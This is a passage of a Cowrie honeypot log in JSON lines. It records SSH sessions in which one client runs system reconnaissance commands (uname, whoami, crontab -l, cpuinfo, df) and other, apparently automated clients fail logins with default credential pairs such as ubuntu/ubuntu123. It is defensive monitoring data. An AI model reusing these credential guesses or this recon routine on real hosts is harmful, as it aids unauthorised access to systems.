{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.335831Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.338978Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.481212Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.606245Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.609288Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.611859Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.756909Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.948886Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:01.952638Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.094365Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.224397Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.228133Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":204,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.370543Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.498495Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.501592Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.644320Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.771281Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.774255Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:02.922736Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.054122Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.058686Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.201520Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.340103Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.344251Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.489181Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.613918Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.618303Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.761768Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.888601Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:03.891924Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.034079Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.161763Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.165529Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.311958Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.436412Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.439445Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53544,"dst_ip":"10.17.0.5","dst_port":22,"session":"97d1f07008fc","protocol":"ssh","message":"New connection: 141.11.88.14:53544 (10.17.0.5:22) [session: 97d1f07008fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.499657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.504097Z","src_ip":"141.11.88.14","session":"97d1f07008fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.515646Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.519836Z","src_ip":"103.143.231.24","session":"8efcd59bd62b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.581553Z","src_ip":"141.11.88.14","session":"97d1f07008fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:04.916475Z","src_ip":"141.11.88.14","session":"97d1f07008fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:06.000330Z","src_ip":"141.11.88.14","session":"97d1f07008fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":29038,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d3ba2a158f","protocol":"ssh","message":"New connection: 141.11.88.14:29038 (10.17.0.5:22) [session: f8d3ba2a158f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:10.894920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:11.173100Z","src_ip":"141.11.88.14","session":"f8d3ba2a158f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:11.177090Z","src_ip":"141.11.88.14","session":"f8d3ba2a158f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:12.855077Z","src_ip":"141.11.88.14","session":"f8d3ba2a158f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:14.051754Z","src_ip":"141.11.88.14","session":"f8d3ba2a158f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":27936,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de5db975fff","protocol":"ssh","message":"New connection: 141.11.88.14:27936 (10.17.0.5:22) [session: 3de5db975fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:19.666337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:19.777654Z","src_ip":"141.11.88.14","session":"3de5db975fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:19.780280Z","src_ip":"141.11.88.14","session":"3de5db975fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123","message":"login attempt [ubuntu/ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:20.313875Z","src_ip":"141.11.88.14","session":"3de5db975fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:21.413298Z","src_ip":"141.11.88.14","session":"3de5db975fff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.8968665599823,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:22.933136Z","src_ip":"172.81.62.90","session":"29507dc6e698","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":51530,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f9eb3bef69","protocol":"ssh","message":"New connection: 41.86.34.139:51530 (10.17.0.5:22) [session: 67f9eb3bef69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:24.539320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:44:24.545372Z","src_ip":"41.86.34.139","session":"67f9eb3bef69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 